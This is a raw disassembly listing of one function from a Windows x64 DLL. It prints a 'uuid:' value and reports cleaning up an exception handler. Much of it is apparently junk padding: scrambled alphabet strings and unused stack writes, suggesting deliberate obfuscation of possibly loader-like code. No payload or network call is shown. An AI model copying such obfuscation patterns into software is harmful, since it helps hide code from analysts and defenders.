lea rax, [rsp + 0x11b8]
lea rcx, str.JmkhQOsqweVItMHXaioyFdzARGgBPEvKZxjDuYNlUnfrcSCpW
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x628], 3
mov byte [rsp + 0x74], 0
mov qword [rsp + 0x630], 0
mov eax, 2
mov word [rsp + 0x1bc], ax
mov eax, 9
mov word [rsp + 0x1c0], ax
mov byte [rsp + 0x75], 0x57
mov dword [rsp + 0x2fc], 7
lea rdx, str.uuid:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180011670
lea rdx, [rsp + 0x1528]
mov rcx, rax
call fcn.180011a40
lea rdx, [0x1800119f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x638], 1
mov eax, 5
mov word [rsp + 0x1c4], ax
mov eax, 4
mov word [rsp + 0x1c8], ax
mov dword [rsp + 0x300], 2
mov byte [rsp + 0x76], 0x55
mov byte [rsp + 0x77], 0
lea rax, [rsp + 0x11f0]
lea rcx, str.ObINuAqphcFSjTLfUmksePVnozDwaQyHMGdXKBWZlYrtgRJCv
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x640], 0
lea rax, [rsp + 0x880]
mov qword [rsp + 0x3b0], rax
lea rdx, [rsp + 0x14e0]
mov rcx, qword [rsp + 0x3b0]
call fcn.18000ffe0
mov qword [rsp + 0x3b8], rax
lea r8, [rsp + 0x1528]
mov rdx, qword [rsp + 0x3b8]
lea rcx, [rsp + 0x820]
call fcn.180007070
mov qword [rsp + 0x3c0], rax
mov rdx, qword [rsp + 0x3c0]
lea rcx, [rsp + 0x14c8]
call fcn.18000f970
lea rcx, [rsp + 0x820]
call fcn.18000f950
mov byte [rsp + 0x78], 0x50
mov qword [rsp + 0x648], 7
mov dword [rsp + 0x304], 4
lea rax, [rsp + 0x1228]
lea rcx, str.NRACDzdsXiFYQkwMUtEWcHSrOJTguIPhyvalqxoBbpmGnLZKV
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x650], 0
mov eax, 2
mov word [rsp + 0x1cc], ax
mov byte [rsp + 0x79], 0
mov eax, 3
mov word [rsp + 0x1d0], ax
lea rcx, [rsp + 0x14c8]
call fcn.18000f860
test rax, rax
jne 0x18000dee1
mov dword [rsp + 0x258], 0xfffffffe
lea rcx, [rsp + 0x14c8]
call fcn.18000f950
mov eax, dword [rsp + 0x258]
jmp 0x18000e536
lea rax, [rsp + 0x848]
mov qword [rsp + 0x3c8], rax
lea rdx, [rsp + 0x14c8]
mov rcx, qword [rsp + 0x3c8]
call fcn.18000fb00
mov qword [rsp + 0x3d0], rax
mov rcx, qword [rsp + 0x3d0]
call fcn.18000be00
mov qword [rsp + 0x668], 0
mov qword [rsp + 0x670], 2
lea rax, [rsp + 0x1298]
lea rcx, str.MzjlkgUJPhaTtywuRnXvAKZCSLoxmqQfiFVecBDrNHOsEYbId
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov eax, 5
mov word [rsp + 0x1dc], ax
xor eax, eax
mov word [rsp + 0x1e0], ax
mov dword [rsp + 0x30c], 2
mov byte [rsp + 0x7c], 0x58
mov byte [rsp + 0x7d], 0
mov dword [rsp + 0x310], 5
mov qword [rsp + 0x678], 0
mov eax, 9
mov word [rsp + 0x1e4], ax
mov byte [rsp + 0x7e], 0x47
lea rax, [rsp + 0x12d0]
lea rcx, str.nhUsfRojpByKaTgGLSOCqVwYAZrFlXzctJmkeWuMbHEvIxQdi
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x680], 0
mov byte [rsp + 0x7f], 0
mov eax, 7
mov word [rsp + 0x1e8], ax
lea rax, [rsp + 0x1308]
lea rcx, str.gZIDcwakFzXAGHeiyfuNUprBVWvOYmsSQMTEqdPnJxotKRhCl
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x80], 0x6f
mov eax, 7
mov word [rsp + 0x1ec], ax
mov byte [rsp + 0x81], 0
mov eax, 9
mov word [rsp + 0x1f0], ax
mov qword [rsp + 0x688], 0
mov qword [rsp + 0x690], 1
mov dword [rsp + 0x314], 5
mov qword [rsp + 0x698], 4
lea rax, [rsp + 0x1340]
lea rcx, str.JgPaEsLiuxvpSUnTCwRoBFZrmNQVzqfdjXythWebklcGYMHOD
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x318], 2
mov eax, 1
mov word [rsp + 0x1f4], ax
mov byte [rsp + 0x82], 0x44
mov byte [rsp + 0x83], 0
mov qword [rsp + 0x6a0], 0
mov eax, 9
mov word [rsp + 0x1f8], ax
mov qword [rsp + 0x6a8], 9
mov byte [rsp + 0x84], 0
mov eax, 6
mov word [rsp + 0x1fc], ax
mov eax, 9
mov word [rsp + 0x200], ax
mov qword [rsp + 0x6b0], 0
mov dword [rsp + 0x31c], 9
mov byte [rsp + 0x85], 0x69
lea rax, [rsp + 0x1378]
lea rcx, str.YUPzDoujSGyFZWfmqctIVndvergpHhCEwALJBQNbaMkxilsKX
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x86], 0x6a
mov byte [rsp + 0x87], 0
mov eax, 1
mov word [rsp + 0x204], ax
lea rax, [rsp + 0x13b0]
lea rcx, str.xsjlcHVSrNiLRaTUPhvZInubpdAEMeqQfmYtWyGOkFwBzCJKg
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x6b8], 0
mov eax, 1
mov word [rsp + 0x208], ax
mov dword [rsp + 0x320], 6
mov qword [rsp + 0x6c0], 3
mov qword [rsp + 0x6c8], 0
mov dword [rsp + 0x324], 4
mov byte [rsp + 0x88], 0x51
mov eax, 3
mov word [rsp + 0x20c], ax
mov eax, 4
mov word [rsp + 0x210], ax
lea rax, [rsp + 0x13e8]
lea rcx, str.RYvKMcULhqoHgxAyIFltWepSkwEJTiaDOdbNsjfnuzQXBCrVZ
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x89], 0
mov qword [rsp + 0x6d0], 6
mov byte [rsp + 0x8a], 0
mov qword [rsp + 0x6d8], 0
xor eax, eax
mov word [rsp + 0x214], ax
mov qword [rsp + 0x6e0], 0
mov eax, 7
mov word [rsp + 0x218], ax
mov byte [rsp + 0x8b], 0x58
mov dword [rsp + 0x328], 4
lea rax, [rsp + 0x1420]
lea rcx, str.GIoUutOLsMnawWiNTkmQegxBJFvXDfSKbCpcPZjdAHYlyEzRq
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x6e8], 9
lea rax, [rsp + 0x1458]
lea rcx, str.lyNhedpDRjIEJkLzntrqixvQuaSbPYCGwmUVoTHAMFgWsOKBf
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x32c], 8
xor eax, eax
mov word [rsp + 0x21c], ax
mov qword [rsp + 0x6f0], 0
mov byte [rsp + 0x8c], 0
mov byte [rsp + 0x8d], 0x6b
mov eax, 7
mov word [rsp + 0x220], ax
mov byte [rsp + 0x8e], 0
lea rax, [rsp + 0x1490]
lea rcx, str.MoQlcwIFmqvHaCTzUJfxhPAEyNKtnguRXrsWbeOjBpdiVYDLS
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x6f8], 2
mov qword [rsp + 0x700], 0
mov dword [rsp + 0x330], 5
mov eax, 1
mov word [rsp + 0x224], ax
mov eax, 4
mov word [rsp + 0x228], ax
mov byte [rsp + 0x8f], 0x75
mov dword [rsp + 0x334], 0
mov eax, 9
mov word [rsp + 0x22c], ax
lea rax, [rsp + 0x8c0]
lea rcx, str.ZJKiRkWBGjdQDcbrogFwHNIeqLvAzCMmhTXVpSlaOYPyExntf
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x708], 0
mov eax, 1
mov word [rsp + 0x230], ax
mov qword [rsp + 0x710], 8
mov byte [rsp + 0x90], 0x72
mov byte [rsp + 0x91], 0
mov byte [rsp + 0x92], 0x66
mov eax, 4
mov word [rsp + 0x234], ax
mov qword [rsp + 0x718], 0
mov eax, 3
mov word [rsp + 0x238], ax
mov dword [rsp + 0x338], 1
mov byte [rsp + 0x93], 0
mov qword [rsp + 0x720], 5
lea rax, [rsp + 0x930]
lea rcx, str.HKJpjZybcWsldOMrYzNUAPwukGgSmQqoTVLCXBREFxtvDnhIf
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
call fcn.18000b7c0
movzx eax, al
test eax, eax
je 0x18000e423
lea rdx, str.___Cleaned_up_the_exception_handler.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180011670
lea rdx, [0x1800119f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18000e446
lea rdx, str.____Failed_to_clean_up_the_exception_handler.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180011670
lea rdx, [0x1800119f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x728], 4
mov eax, 8
mov word [rsp + 0x23c], ax
lea rax, [rsp + 0x968]
lea rcx, str.bUysxadirjVpDHzIJQGAvktRnweqZoNBmKcLMEXCThluSYgFO
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x730], 0
mov byte [rsp + 0x94], 0
mov dword [rsp + 0x33c], 0
mov eax, 1
mov word [rsp + 0x240], ax
mov byte [rsp + 0x95], 0x7a
mov dword [rsp + 0x25c], 0
lea rcx, [rsp + 0x14c8]
call fcn.18000f950
mov eax, dword [rsp + 0x25c]
jmp 0x18000e536
mov rcx, qword [rsp + 0x1550]
xor rcx, rsp
call fcn.180013c40
add rsp, 0x1568
pop rdi
pop rsi
ret